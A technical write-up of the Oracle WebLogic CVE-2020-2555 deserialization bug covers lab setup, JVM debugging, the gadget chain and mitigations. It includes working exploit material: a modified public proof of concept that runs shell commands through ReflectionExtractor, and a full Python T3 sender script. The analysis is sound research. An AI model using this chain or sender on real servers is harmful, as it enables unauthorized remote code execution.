Oracle CVE-2020-2555 Analysis
1. Introduction
Some vulnerabilities don’t look dangerous at first glance, and this one starts with an innocent-looking toString() function.
In CVE-2020-2555, a seemingly harmless method call buried inside Java’s deserialization process becomes the entry point for remote code execution in Oracle WebLogic Server.
Rather than beginning with patch diffing or advisories, this write-up follows a different approach. We will instead start with a payload, trigger the bug, and follow the execution trail wherever it leads.
2. Setup
To reproduce the issue, we’ll recreate a vulnerable environment:
- Oracle JDK 8u202
- WebLogic Server 12.2.1.4.0
- Coherence (bundled)
2.1 Installing Oracle JDK 8
Before we can even think about triggering the vulnerability, we need to match a known vulnerable runtime environment. WebLogic is notoriously sensitive to Java versions, and CVE-2020-2555 is reliably reproducible on JDK 8u202.
-
Head over to Oracle’s JDK 8 archive and grab the exact version.
NoteNewer JDK versions may introduce subtle behavioral differences (or even break the exploit chain entirely), so it’s important to stick to this version for reproducibility -
Once downloaded, extract the archive and place it in a standard JVM directory:
Installing JDK 8u202wls@oracle-v12:~/Downloads$ tar -zxvf jdk-8u202-linux-x64.tar.gz wls@oracle-v12:~/Downloads$ sudo mkdir -p /usr/lib/jvm wls@oracle-v12:~/Downloads$ sudo cp -r jdk1.8.0_202 /usr/lib/jvm/
-
Finally, make sure your shell can find the correct Java binary:
Adding Java to PATHwls@oracle-v12:~/Downloads$ echo "export PATH=/usr/lib/jvm/jdk1.8.0_202/bin:$PATH" >> ~/.bashrc
At this point, we have a controlled Java environment. It is a small but critical step before we start poking at WebLogic’s internals.
2.2 Installing WebLogic Server
With Java in place, the next step is to set up a vulnerable WebLogic instance. For this analysis, we’ll use WebLogic Server 12.2.1.4.0, which includes the vulnerable Coherence components required for CVE-2020-2555.
-
Grab the installer for Oracle WebLogic Server 12.2.1.4.0
-
Unzip the installer and launch it using the JDK we configured earlier:
Running The Installerwls@oracle-v12:~/Downloads$ unzip fmw_12.2.1.4.0_wls_lite_Disk1_1of1.zip -d wls-install && cd wls-install wls@oracle-v12:~/Downloads/wls-install$ java -jar fmw_12.2.1.4.0_wls_lite_generic.jar
-
The installer is mostly straightforward, and you can leave most options as default. However, a few selections are important to ensure a clean and reproducible lab setup:
-
Skip Auto Updates (we don’t want external interference in our test environment)

Auto Updates Option: Skip Auto Updates
-
Installation Type: WebLogic Server

Choose Installation Type: WebLogic Server
-
Development Mode with JDK 8 (ensures relaxed security defaults and compatibility)

Development Mode with JDK 8
-
-
Once installation completes, start the default domain:
Starting the WebLogic Serverwls@oracle-v12:~$ ~/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/bin/startWebLogic.sh
2.3 Setting Up Debug Environment
So far, we’ve just built ourselves a gloriously vulnerable system. Patience, my friends, this isn’t a Macdonalds drive-thru.

Now, we want visibility. To do that, we’ll attach a debugger to the JVM running WebLogic.
2.3.1 Server-Side Debug Parameters
To observe execution in real time, we’ll enable JDWP in the startup script. One small detail to keep in mind: Java 8 uses the older debug syntax. So instead of address=*:<port> (Java 9+), it expects just address=<port>.
-
Edit the WebLogic startup script with your favourite editor (I’m a vim enjoyer):
Editing Startup Scriptwls@oracle-v12:~$ vim ~/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/bin/startWebLogic.sh
-
Locate the section where
LAUNCH_ARGSis defined and change it to the following:Adding JDWP in Launch Arguments... 183 # START WEBLOGIC 184 185 if [ "${USE_JVM_SYSTEM_LOADER}" != "true" ] ; then 186 LAUNCH_ARGS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -cp ${WL_HOME}/server/lib/weblogic-launcher.jar -Dlaunch.use.env.classpath=true" ...
2.3.2 VS Code Configurations
The vulnerability we’re targeting resides in Coherence, so we’ll need to decompile its JAR. It’s important that the decompilation preserves line numbers, since Java debugging relies on the source being as close to a 1-to-1 match as possible.
I experimented with a few decompilers like CFR and JD-CLI, but the one that consistently produced usable output was still JD-GUI. So…that’s what we’ll go with.
-
Decompile coherence.jar using JD-GUI
Running JD-GUIwls@oracle-v12:~/Downloads$ java -jar jd-gui-1.6.6.jar

Opening coherence.jar in JD-GUI
-
File > Save all sources > Save location: /home/wls/coherence.jar.src.zip

Opening coherence.jar in JD-GUI
-
Unzip the exported archive.
Uncompressing Coherence Source Codewls@oracle-v12:~$ unzip coherence.jar.src.zip -d coherence-src
-
Open coherence-src folder in vscode and install the ‘Debugger for Java’ extension by Microsoft. Then, create .vscode/launch.json within the same workspace to look something like this:
Create Debugger Settings in VS Code{ "version": "0.2.0", "configurations": [ { "type": "java", "name": "Debug (Attach) Remote Java App", "request": "attach", "hostName": "127.0.0.1", "port": 5005 } ] }
3. Payload Generation
We’ve done all this prep work, and I know you’re itching to dive into the vulnerability, but unfortunately, this isn’t magic. No payload, no game.

The next step is to generate a working payload. There are plenty of public PoCs for this vulnerability, but rather than building everything from scratch, we’ll start with one that already works and adapt it to our needs.
-
We’ll use a PoC by chenwjiew, which requires minimal modifications.
Git Clone Template Exploitwls@oracle-v12:~$ git clone https://gitee.com/chenjiew/CVE-2020-2555.git
-
Replace the bundled coherence.jar with the exact version used by our WebLogic instance
NoteThis step is more important than it looks:
- Gadget chains are often version-sensitive
- A mismatch in class structure can break deserialization or shift execution paths
- Using the exact JAR ensures our payload behaves identically to the target runtime
Replacing Coherence Librarywls@oracle-v12:~$ cd CVE-2020-2555 wls@oracle-v12:~/CVE-2020-2555$ cp ~/Oracle/Middleware/Oracle_Home/coherence/lib/coherence.jar ./lib/coherence.jar
-
At the core of this exploit is ReflectionExtractor which allows us to invoke arbitrary methods via reflection. We’ll modify its parameters in src/com/superam/CVE-2020-2555.java to control what gets executed:
Simple Curl Test PayloadReflectionExtractor extractor3 = new ReflectionExtractor( "exec", new Object[]{new String[]{"/bin/bash", "-c", "curl http://127.0.0.1:8080/test"}} );
-
By default, the PoC sends the payload directly to the target. For our purposes, that’s not ideal. We want more control and flexibility, especially since we’ll be iterating on the payload during debugging. So instead of sending it immediately, we’ll modify the code to serialize the payload into a file.
- Near the end of the main() function in src/com/supeream/CVE_2020_2555.java, comment out the network send logic and keep only serialization:
Modifying src/com/supeream/CVE_2020_2555.javapublic class CVE_2020_2555 { public static void main(String[] args) throws Exception { ... BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException, limitFilter); // serialize // byte[] payload = Serializables.serialize(badAttributeValueExpException); // T3 send, you can also use python script. weblogic_t3.py // T3ProtocolOperation.send("172.16.1.130", "7001", payload); // test serialize(badAttributeValueExpException); // deserialize(); }
-
With the changes in place, compile the project:
Compiling The Payload Generatorwls@oracle-v12:~/CVE-2020-2555$ mkdir -p target/classes && \ javac -d target/classes -cp "lib/*" \ src/com/supeream/payload/*.java \ src/com/supeream/serial/*.java \ src/com/supeream/ssl/*.java \ src/com/supeream/weblogic/*.java \ src/com/supeream/*.java
-
Run the generator. If everything is set up correctly, this produces a serialized payload (test.ser), which contains our crafted object graph.
Running The Payload Generatorwls@oracle-v12:~/CVE-2020-2555$ java -cp "target/classes:lib/*" com.supeream.CVE_2020_2555
-
Instead of relying on the original Java sender, we’ll use a Python script to deliver the payload over WebLogic’s T3 protocol.Replace weblogic_t3.py with the following Python 3-compatible version:
Updated Python3-Compatible weblogic_t3.py#!/usr/bin/python import socket import os import sys import struct if len(sys.argv) < 3: print('Usage: python %s <host> <port> </path/to/payload>' % os.path.basename(sys.argv[0])) sys.exit() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) server_address = (sys.argv[1], int(sys.argv[2])) print('[+] Connecting to %s port %s' % server_address) sock.connect(server_address) # Send headers headers=b't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' print('sending "%s"' % headers) sock.sendall(headers) data = sock.recv(1024) print(sys.stderr, 'received "%s"' % data) payloadObj = open(sys.argv[3],'rb').read() payload=b'\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' payload=payload+payloadObj payload=payload+b'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78' # adjust header for appropriate message length payload=struct.pack('>I',len(payload)) + payload[4:] print('[+] Sending payload...') sock.send(payload) data = sock.recv(1024) print('[+] received "%s"' % data)
-
Finally, deliver the payload to the target server:
Sending The Payload to Vulnerable Oracle WebLogic Serverwls@oracle-v12:~/CVE-2020-2555$ python3 weblogic_t3.py 127.0.0.1 7001 test.ser
From this point on, exploitation becomes an iterative process. For each tweak to the payload, you only need to repeat:
- Step 3 → Modify payload logic
- Step 5 → Recompile
- Step 6 → Regenerate test.ser file
- Step 8 → Resend payload
This workflow makes it much easier to experiment, debug, and eventually trace the full execution path.
4. Analysis
While writing this post, I was walking the tightrope between ‘too confusing’ and ‘too boring.’ So fingers crossed that you won’t end up like Michael here.

Most write-ups start by diffing patches or reading advisoriesm just like this blog post by Zero Day Initiative. However, we are going to adopt an even more straightforward approach. We are going to force the exploit to purposefully fail to dump out the stack trace.
Instead of executing a real command, we replace it with something that definitely does not exist:
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"idontexist"}}
);
Now, recompile the payload generator and run it again to regenerate test.ser before sending it to the vulnerable WebLogic server. This time instead of a silent execution, the application spills everything out for us.
(Wrapped: java.lang.Runtime.exec([Ljava.lang.String;@14cbd6bc)(java.lang.Runtime@30e376c6)) java.lang.reflect.InvocationTargetException
at com.tangosol.util.Base.ensureRuntimeException(Base.java:324)
at com.tangosol.util.extractor.ReflectionExtractor.extract(ReflectionExtractor.java:129)
at com.tangosol.util.extractor.ChainedExtractor.extract(ChainedExtractor.java:105)
at com.tangosol.util.filter.LimitFilter.toString(LimitFilter.java:599)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
Truncated. see log file for complete stacktrace
...
Following the call stack, our entry point of interest should start from javax.management.BadAttributeValueExpException.readObject(), which lives in /usr/lib/jvm/jdk1.8.0_202/jre/lib/rt.jar.
BadAttributeValueExpException is a Java Management Extensions (JMX) class and it contains a well-known deserialization gadget in its readObject() method. The following listing shows its function definition, and naturally we set a breakpoint on line 86 before sending our payload.
40 public class BadAttributeValueExpException extends Exception {
...
70 private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
71 ObjectInputStream.GetField gf = ois.readFields();
72 Object valObj = gf.get("val", null);
73
74 if (valObj == null) {
75 val = null;
76 } else if (valObj instanceof String) {
77 val= valObj;
78 } else if (System.getSecurityManager() == null
79 || valObj instanceof Long
80 || valObj instanceof Integer
81 || valObj instanceof Float
82 || valObj instanceof Double
83 || valObj instanceof Byte
84 || valObj instanceof Short
85 || valObj instanceof Boolean) {
86 val = valObj.toString(); /* BREAK HERE */
87 } else {
88 val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
89 }
90 }
91 }
By default, the Java Security Manager is disabled, which causes execution to take the branch at line 78 during deserialization, ultimately invoking toString() on the val field at line 86.

Call to LimitFilter.toString() on line 86
Since our val field is set to a malicious LimitFilter, this triggers LimitFilter.toString(), which we will analyze next.
The following listing shows the relevant snippets of the vulnerable LimitFilter.toString() function. Set another breakpoint at line 599 and resume the execution flow.
40 public class LimitFilter<T>
41 extends AbstractQueryRecorderFilter<T>
42 implements EntryFilter<Object, T>, IndexAwareFilter<Object, T>, ExternalizableLite, PortableObjec 42 t, Cloneable
43 {
...
587 public String toString() {
588 StringBuilder sb = new StringBuilder("LimitFilter: (");
...
595 if (this.m_comparator instanceof ValueExtractor) {
596
597 ValueExtractor extractor = (ValueExtractor)this.m_comparator;
598 sb.append(", top=")
599 .append(extractor.extract(this.m_oAnchorTop)) /* BREAK HERE */
600 .append(", bottom=")
601 .append(extractor.extract(this.m_oAnchorBottom));
602 }
...
When m_comparator is a ValueExtractor, the code calls extractor.extract() on m_oAnchorTop and m_oAnchorBottom. Under normal circumstances, this is just part of data processing.
But implementations like ReflectionExtractor and ChainedExtractor use reflection, allowing method calls to be defined at runtime. This turns extract() into a powerful primitive, one that can be abused to invoke methods like Runtime.getRuntime().exec().

RCE at line 599
This chain works because several “harmless” design decisions stack together:
- ReflectionExtractor allows arbitrary method invocation with no validation.
- Deserialization (via JMX) invokes toString() internally, something developers rarely treat as dangerous.
- LimitFilter blindly trusts its internal fields (
m_comparator). - Coherence extractors are designed for flexible querying, which makes them equally powerful as exploitation primitives.
5. Mitigations
A simple way to mitigate this issue is to enable the Java Security Manager. Recall from earlier that the exploit relies on this condition: System.getSecurityManager() == null. By enabling the security manager, this condition no longer holds, preventing execution from reaching the vulnerable toString() call at line 86.
Update the LAUNCH_ARGS in the WebLogic startup script:
...
183 # START WEBLOGIC
184
185 if [ "${USE_JVM_SYSTEM_LOADER}" != "true" ] ; then
186 LAUNCH_ARGS="-cp ${WL_HOME}/server/lib/weblogic-launcher.jar -Dlaunch.use.env.classpath=true -Djava.security.manager"
...
Though this is a “No shit, Sherlock” kind of statement, the proper way to fix it is to apply Oracle’s official patches.

Please refer to the official guide for detailed steps on downloading and applying WebLogic patches.
6. Conclusion
Congratulations! You made it to the end!

A simple toString() call turns out to be the entry point for a full RCE chain. By generating a payload, breaking it on purpose, and following the stack trace, we were able to trace the execution path from deserialization to command execution.
This vulnerability isn’t just a single flaw, but a chain of “harmless” features working together in unintended ways.
7. References
- https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
- https://docs.oracle.com/en-us/iaas/Content/fleet-management/manage-oracle-patches-weblogic.htm#download-weblogic-patch
- https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
- https://www.oracle.com/asean/java/technologies/javase/javase8-archive-downloads.html
- https://github.com/java-decompiler/jd-gui/releases
- https://github.com/leibnitz27/cfr
- https://github.com/intoolswetrust/jd-cli
- https://gitee.com/chenjiew/CVE-2020-2555